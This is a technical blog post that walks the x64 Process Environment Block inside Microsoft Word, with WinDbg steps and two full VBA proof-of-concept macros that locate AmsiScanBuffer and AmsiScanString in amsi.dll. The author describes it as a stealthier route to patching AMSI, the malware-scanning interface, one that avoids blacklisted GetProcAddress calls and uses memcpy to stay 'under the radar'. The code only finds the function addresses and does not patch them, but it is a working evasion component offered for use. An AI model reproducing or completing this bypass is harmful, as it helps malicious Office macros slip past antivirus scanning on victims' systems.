My previous post covers walking the PEB using VBA within a x32 version of Microsoft Office.

Upon reflection, I realised that my previous post could be more detailed so I thought I’d address the x64 version and try and cover some of the bits I left out.

For anyone who wants a little more background information about what the PEB is
https://en.wikipedia.org/wiki/Process_Environment_Block

Traditionally, the method to bypass amsi.dll protections has been to use LoadLibrary and GetProcAddress to find the address of the relevant amsi functions in memory; the relevant functions being AmsiScanString and AmsiScanBuffer.

An example by RastaMouse can be found here https://github.com/rasta-mouse/AmsiScanBufferBypass

Other examples are available however they all go about it in the same way the only thing that varies is how the functions are patched.

Once the locations of these functions are obtained, VirtualProtect is used to make the memory writable and then WriteProcessMemory is used to patch these functions within the process memory.

Walking the PEB, is another method to ultimately do the same thing however it avoids using LoadLibrary and GetProcAddress to find the function locations. This is important as Microsoft made some, albeit minor effort to frustrate anybody using GetProcAddress by blacklisting the use of AmsiScanString and AmsiScanBuffer which is why in a previous post my colleague and I devised a method to dynamically calculate their location by using neighbouring function names which haven’t been blacklisted.

For this example I’m using a copy of Windows 10 Professional Edition version 1909, and a copy of Microsoft Office 365 which is locally installed.

The debugger I’m using is WinDbg which can be downloaded from the address below.

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools

Installation is pretty straight forward however there are a couple of settings to be aware of, if you’re new to WinDbg or are installing it clean.

The first thing is to make sure you have a Symbol File Path configured. This is achieved by going to File/Symbol File Path.

I have the following path configured

srv*c:\mss*http://msdl.microsoft.com/download/symbols

It is also important to make sure that Resolve Unqualified Symbols is checked which can be found on the Debug menu option. If this option isn’t checked, WinDbg just gives errors if symbols cannot be found.

Now in my previous post I made reference to a nice graphic which displays the x32 PE file format. To be honest I’ve not found a graphic which does the x64 version the same justice. The x64 version is slightly different however we can use the x32 still to get an idea of how we walk the format.

http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf

The WinDbg commands that I’m going to be using are

dt which is to display type
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/dt–display-type-

dd which is to display memory
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/d–da–db–dc–dd–dd–df–dp–dq–du–dw–dw–dyb–dyd–display-memor

da which displays Ascii
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/d–da–db–dc–dd–dd–df–dp–dq–du–dw–dw–dyb–dyd–display-memor

Right let’s get going….

The first thing we need to do is to attach WinDbg to our copy of Word. This is achieved by File/Attach to Process – Select Winword/OK

To view the PEB enter !peb in the command area and hit enter

Scrolling up we can see a number of important reference points which we’re going to use to build a POC.

Important things to note are

PEB at “address here” which is our base address, and is used to find the addresses relative to this address.

The value of Ldr and then the values of the line
Ldr.InLoadOrderModuleList

These values are the first and last location in the Ldr table of the dll’s which are loaded into memory.

To view an item in the table we can use the command

dt _LDR_DATA_TABLE_ENTRY ADDRESS_OF_ENTRY

If we look at the details of the first entry we can see that they relate to the first item in the module list which is for WINWORD.EXE.

dt _LDR_DATA_TABLE_ENTRY 00000188620c26f0

The first value in the table points to the next record in the table, we can confirm this by repeating the command dt _LDR_DATA_TABLE_ENTRY and appending the address highlighted.

dt _LDR_DATA_TABLE_ENTRY 0x00000188`620c2560

and we see that we now have the values of the next item, which in my case is ntdll.dll.

To obtain these addresses relative to the PEB address we will have to go back a couple of steps.

Firstly, we need to view the type for the PEB. This is done by using the command

dt _PEB PEB_At_Address_Goes_Here

In my instance it will be dt _PEB 0000002b3a68d000

This now gives us the relative location of our Ldr data, which is PEB+18

If we use the command dd 0000002b3a68d000+18 we can see LDR value at this location.

If we then use the command below to view the _PEB_LDR_DATA structure
dt _PEB_LDR_DATA 0x00007ffb`9dd253c0

We can see the relative addresses of the ldr table module entries

The first address and last addresses can therefore be found at
0x00007ffb`9dd253c0+10
0x00007ffb`9dd253c0+18

to verify this

dd 0x00007ffb`9dd253c0+10

So far our walk is

PEB Address + 18 which gives us the LDR address
LDR Address +10 gives us the first dll address in the table
LDR Address +18 gives us the last dll address in the table

To navigate in between the first and last entries we need to read the first 8 bytes of the current entry which will then point us to the next entry.

Now we can cycle through our entries we need to establish which one belongs to amsi.dll. This is straight forward as the _LDR_TABLE_ENTRY type has a BaseDllName field which is at _LDR_TABLE_ENTRY+58

If we click on the blue text hyperlink for BaseDllName we see that we are pointed to a buffer which holds the filename.

Therefore the buffer address = Table_Entry_address +58 + 8 which we can verify with the command

dd 00000188620c26f0 +58 + 8

We can then view the buffer using the command dd 0x188620c2318

The buffer text is a Unicode String, du 0x188620c2318 will display the string in a readable format.

Unicode and byte order will need to be sorted out but that’s doable in code.

So as a recap we now are able to, from the initial PEB address get to the Ldr address.

From the Ldr address we can iterate items in the Ldr_Data_Table and navigate to the buffer to workout if the DllName is the one we’re after.

Here’s the VBA code to get to this point. Add the code below to a new module and Run. Output is displayed in the Immediate window – Ctrl+G to view.

To get the PEB Base Address the code uses ZwQueryInformationProcess, the equivalent NtQueryInformationProcess could also be used.

Rather than use ReadProcessMemory to view the values I’m using Memcpy which seems to pass under the radar a little better.


Private Type ProcessWow64Information
    ExitStatus      As LongPtr
    Reserved0       As LongPtr
    PebBaseAddress  As LongPtr
    AffinityMask    As LongPtr
    BasePriority    As LongPtr
    Reserved1       As LongPtr
    UniqueProcessId As LongPtr
    InheritedFromUniqueProcessId    As LongPtr
End Type

Private Declare PtrSafe Function ZwQueryInformationProcess Lib "ntdll.dll" ( _
   ByVal ProcessHandle As LongPtr, _
   ByVal ProcessInformationClass As LongPtr, _
   ByRef ProcessInformation As ProcessWow64Information, _
   ByVal ProcessInformationLength As Long, _
   ByRef ReturnLength As Long _
) As Integer

Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)

Sub POC()

    Dim size As Long
    Dim pbi As ProcessWow64Information
    Dim dll_table_entry As LongPtr
    Dim current_dll_table_entry As LongPtr
    
    Dim Ldr_Data As LongPtr
    Dim Ldr_Data_InLoadOrderModuleList_Start As LongPtr
    Dim Ldr_Data_InLoadOrderModuleList_End As LongPtr

    
    Dim Ldr_Data_Table_Entry_BaseDllName As LongPtr
    Dim Ldr_Data_Table_Entry_BaseDllName_Buffer As LongPtr
    Dim Ldr_Data_Table_Entry_BaseDllName_BufferAdr As LongPtr
    
    Dim AS_String_Adr As LongPtr
    Dim AS_Buffer_Adr As LongPtr
    
    Dim Temp As Long
    Dim Result As String
    Dim btg As LongPtr
    Dim i As Integer
    
    Result = ZwQueryInformationProcess(-1, 0, pbi, Len(pbi), size)
    Debug.Print "PEB Address: " & Hex(pbi.PebBaseAddress)
    
    Peek Ldr_Data, ByVal (pbi.PebBaseAddress + &H18), 8
    Debug.Print "Ldr_Data: " & Hex(Ldr_Data)
    
    Peek Ldr_Data_InLoadOrderModuleList_Start, ByVal (Ldr_Data + &H10), 8
    Debug.Print "Ldr_Data_InLoadOrderModuleList_Start: " & Hex(Ldr_Data_InLoadOrderModuleList_Start)
    
    Peek Ldr_Data_InLoadOrderModuleList_End, ByVal (Ldr_Data + &H18), 8
    Debug.Print "Ldr_Data_InLoadOrderModuleList_End: " & Hex(Ldr_Data_InLoadOrderModuleList_End)

    dll_table_entry = Ldr_Data_InLoadOrderModuleList_Start
    Do Until dll_table_entry = Ldr_Data_InLoadOrderModuleList_End
        current_dll_table_entry = dll_table_entry
        
        Peek dll_table_entry, ByVal (current_dll_table_entry), 8
        'Debug.Print Hex(dll_table_entry)
         
        Ldr_Data_Table_Entry_BaseDllName = current_dll_table_entry + &H58
        Ldr_Data_Table_Entry_BaseDllName_Buffer = Ldr_Data_Table_Entry_BaseDllName + &H8
        
        Peek Ldr_Data_Table_Entry_BaseDllName_BufferAdr, ByVal (Ldr_Data_Table_Entry_BaseDllName_Buffer), 8
        'Debug.Print Hex(Ldr_Data_Table_Entry_BaseDllName_BufferAdr)
        
        Result = ""
        For i = 0 To 4
            btg = Ldr_Data_Table_Entry_BaseDllName_BufferAdr + (i * 4)
            Peek Temp, ByVal (btg), 4
            Result = Result & StringBuilder(Temp)
        Next i
        
        If InStr(1, Result, "616D73692E646C6C", vbTextCompare) Then
            Debug.Print "We've found amsi.dll"
            Debug.Print "Current DLL Table Entry: " & Hex(current_dll_table_entry)

            Exit Do
        End If
    
    Loop

End Sub

Function StringBuilder(Bytes As Long) As String

firstbytes = Hex(Bytes)

firstbytes = Replace(firstbytes, "00", "")
If Len(firstbytes) = 4 Then
    b1 = Mid(firstbytes, 1, 2)
    b2 = Mid(firstbytes, 3, 2)
    firstbytes = b2 & b1
End If

StringBuilder = firstbytes

End Function

Note – I had to reboot my machine, so from this point my addresses will differ slightly from previous screenshots.

Running the above code will give the following output, obviously the addresses will differ.

Now that we’ve managed to walk the PEB and figure out which entry belongs to amsi.dll, we need to carry on walking a little further to get the addresses of our functions.

We’ll start by reviewing our amsi.dll table entry to get the DllBase address which is located at table_entry+30

dt _LDR_DATA_TABLE_ENTRY 201AD5C9FF0

We then need to look at the _IMAGE_DOS_HEADER structure to retrieve the value of e_lfanew

dt _IMAGE_DOS_HEADER 0x00007ffb`8a370000

The next structure that we want to view is IMAGE_NT_HEADERS which is at DllBase+e_lfnew (240 is F0 in hex)

dt IMAGE_NT_HEADERS 0x00007ffb`8a370000+F0

This leads is to our next structure _IMAGE_OPTIONAL_HEADER64 which is at +18

dt _IMAGE_OPTIONAL_HEADER64 0x00007ffb`8a370000+F0+18

This then points us towards our next structure which is _IMAGE_DATA_DIRECTORY which is at +70

dt _IMAGE_DATA_DIRECTORY 0x00007ffb`8a370000+F0+18+70

We now have the VirtualAddress which when added to the DllBase address allows us to view the _IMAGE_EXPORT_DIRECTORY structure

dt _IMAGE_EXPORT_DIRECTORY 0x00007ffb`8a370000+0xe4c0

We can see that the AddressOfFunctions is DllBase+0xe4e8

If we look at the addresses for amsi using the command

x amsi!amsi*

We can see that

The value of dllbase + the value at DllBase+0xe4e8+12 gives us the address of AmsiScanBuffer

The value of dllbase + the value at DllBase+0xe4e8+16 gives us the address of AmsiScanString

To view the names of these functions use da with the value of dllbase + the value at DllBase+0xe51c+12

We now just need to amend the POC code to retrieve the DllBase address of the amsi entry and also the AmsiScanBuffer and AmsiScanString values which is straight forward.

The full POC code, now looks like

Private Type ProcessWow64Information
    ExitStatus      As LongPtr
    Reserved0       As LongPtr
    PebBaseAddress  As LongPtr
    AffinityMask    As LongPtr
    BasePriority    As LongPtr
    Reserved1       As LongPtr
    UniqueProcessId As LongPtr
    InheritedFromUniqueProcessId    As LongPtr
End Type

Private Declare PtrSafe Function ZwQueryInformationProcess Lib "ntdll.dll" ( _
   ByVal ProcessHandle As LongPtr, _
   ByVal ProcessInformationClass As LongPtr, _
   ByRef ProcessInformation As ProcessWow64Information, _
   ByVal ProcessInformationLength As Long, _
   ByRef ReturnLength As Long _
) As Integer

Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)

Sub POC()

    Dim size As Long
    Dim pbi As ProcessWow64Information
    Dim dll_table_entry As LongPtr
    Dim current_dll_table_entry As LongPtr
    
    Dim Ldr_Data As LongPtr
    Dim Ldr_Data_InLoadOrderModuleList_Start As LongPtr
    Dim Ldr_Data_InLoadOrderModuleList_End As LongPtr
    Dim Ldr_Data_Table_Entry_BaseDll As LongPtr
    Dim Ldr_Data_Table_Entry_BaseDllAdr As LongPtr
    
    Dim Ldr_Data_Table_Entry_BaseDllName As LongPtr
    Dim Ldr_Data_Table_Entry_BaseDllName_Buffer As LongPtr
    Dim Ldr_Data_Table_Entry_BaseDllName_BufferAdr As LongPtr
    
    Dim IMAGE_EXPORT_DIRECTORY As LongPtr
    Dim IMAGE_EXPORT_DIRECTORY_Adr_of_Functions As LongPtr
    Dim IMAGE_EXPORT_DIRECTORY_FunctionStart As LongPtr
    Dim IMAGE_EXPORT_DIRECTORY_FunctionStartAdr As LongPtr
    
    Dim AS_String_Adr As LongPtr
    Dim AS_Buffer_Adr As LongPtr
    
    Dim Temp As Long
    Dim Result As String
    Dim btg As LongPtr
    Dim i As Integer
    
    Result = ZwQueryInformationProcess(-1, 0, pbi, Len(pbi), size)
    Debug.Print "PEB Address: " & Hex(pbi.PebBaseAddress)
    
    Peek Ldr_Data, ByVal (pbi.PebBaseAddress + &H18), 8
    Debug.Print "Ldr_Data: " & Hex(Ldr_Data)
    
    Peek Ldr_Data_InLoadOrderModuleList_Start, ByVal (Ldr_Data + &H10), 8
    Debug.Print "Ldr_Data_InLoadOrderModuleList_Start: " & Hex(Ldr_Data_InLoadOrderModuleList_Start)
    
    Peek Ldr_Data_InLoadOrderModuleList_End, ByVal (Ldr_Data + &H18), 8
    Debug.Print "Ldr_Data_InLoadOrderModuleList_End: " & Hex(Ldr_Data_InLoadOrderModuleList_End)

    dll_table_entry = Ldr_Data_InLoadOrderModuleList_Start
    Do Until dll_table_entry = Ldr_Data_InLoadOrderModuleList_End
        current_dll_table_entry = dll_table_entry
        
        Peek dll_table_entry, ByVal (current_dll_table_entry), 8
        'Debug.Print Hex(dll_table_entry)
                
        Ldr_Data_Table_Entry_BaseDll = current_dll_table_entry + &H30
        Peek Ldr_Data_Table_Entry_BaseDllAdr, ByVal (Ldr_Data_Table_Entry_BaseDll), 8
                
        Ldr_Data_Table_Entry_BaseDllName = current_dll_table_entry + &H58
        Ldr_Data_Table_Entry_BaseDllName_Buffer = Ldr_Data_Table_Entry_BaseDllName + &H8
        
        Peek Ldr_Data_Table_Entry_BaseDllName_BufferAdr, ByVal (Ldr_Data_Table_Entry_BaseDllName_Buffer), 8
        'Debug.Print Hex(Ldr_Data_Table_Entry_BaseDllName_BufferAdr)
        
        Result = ""
        For i = 0 To 4
            btg = Ldr_Data_Table_Entry_BaseDllName_BufferAdr + (i * 4)
            Peek Temp, ByVal (btg), 4
            Result = Result & StringBuilder(Temp)
        Next i
        
        If InStr(1, Result, "616D73692E646C6C", vbTextCompare) Then
            Debug.Print "We've found amsi.dll"
            Debug.Print "Current DLL Table Entry: " & Hex(current_dll_table_entry)
            Debug.Print "DLL Base Address: " & Hex(Ldr_Data_Table_Entry_BaseDllAdr)
            
            IMAGE_EXPORT_DIRECTORY = Ldr_Data_Table_Entry_BaseDllAdr + "58560" 'E4C0
            'Debug.Print "IMAGE_EXPORT_DIRECTORY: " & Hex(IMAGE_EXPORT_DIRECTORY)

            IMAGE_EXPORT_DIRECTORY_Adr_of_Functions = (IMAGE_EXPORT_DIRECTORY + &H1C)
            'Debug.Print "IMAGE_EXPORT_DIRECTORY_Adr_of_Functions: " & Hex(IMAGE_EXPORT_DIRECTORY_Adr_of_Functions)
            
            Peek IMAGE_EXPORT_DIRECTORY_FunctionStart, ByVal (IMAGE_EXPORT_DIRECTORY_Adr_of_Functions), 4
            'Debug.Print Hex(IMAGE_EXPORT_DIRECTORY_FunctionStart)
            
            IMAGE_EXPORT_DIRECTORY_FunctionStartAdr = Ldr_Data_Table_Entry_BaseDllAdr + IMAGE_EXPORT_DIRECTORY_FunctionStart
            Debug.Print "Function Addresses Start at:" & Hex(IMAGE_EXPORT_DIRECTORY_FunctionStartAdr)
            
            Peek Temp, ByVal (IMAGE_EXPORT_DIRECTORY_FunctionStartAdr + 12), 4
            AS_Buffer_Adr = Ldr_Data_Table_Entry_BaseDllAdr + Temp
            Debug.Print "Amsi Scan Buffer Found at:" & Hex(AS_Buffer_Adr)
            
            Peek Temp, ByVal (IMAGE_EXPORT_DIRECTORY_FunctionStartAdr + 16), 4
            AS_String_Adr = Ldr_Data_Table_Entry_BaseDllAdr + Temp
            Debug.Print "Amsi Scan String Found at:" & Hex(AS_String_Adr)
              
            Exit Do
        End If
    
    Loop

End Sub

Function StringBuilder(Bytes As Long) As String

firstbytes = Hex(Bytes)

firstbytes = Replace(firstbytes, "00", "")
If Len(firstbytes) = 4 Then
    b1 = Mid(firstbytes, 1, 2)
    b2 = Mid(firstbytes, 3, 2)
    firstbytes = b2 & b1
End If

StringBuilder = firstbytes

End Function

A module which can be imported can be found at https://github.com/rmdavy/AmsiPEBWalkVBAx64/blob/master/x64_PEB_poc.bas

If you run the updated code you should get a result similar to the below, which when lined up with the output of x amsi!amsi* shows that the VBA code correctly retrieves the correct function addresses.

If there are any errors in the post or code please get in touch so that I can fix them.

Leave a Reply

Your email address will not be published. Required fields are marked *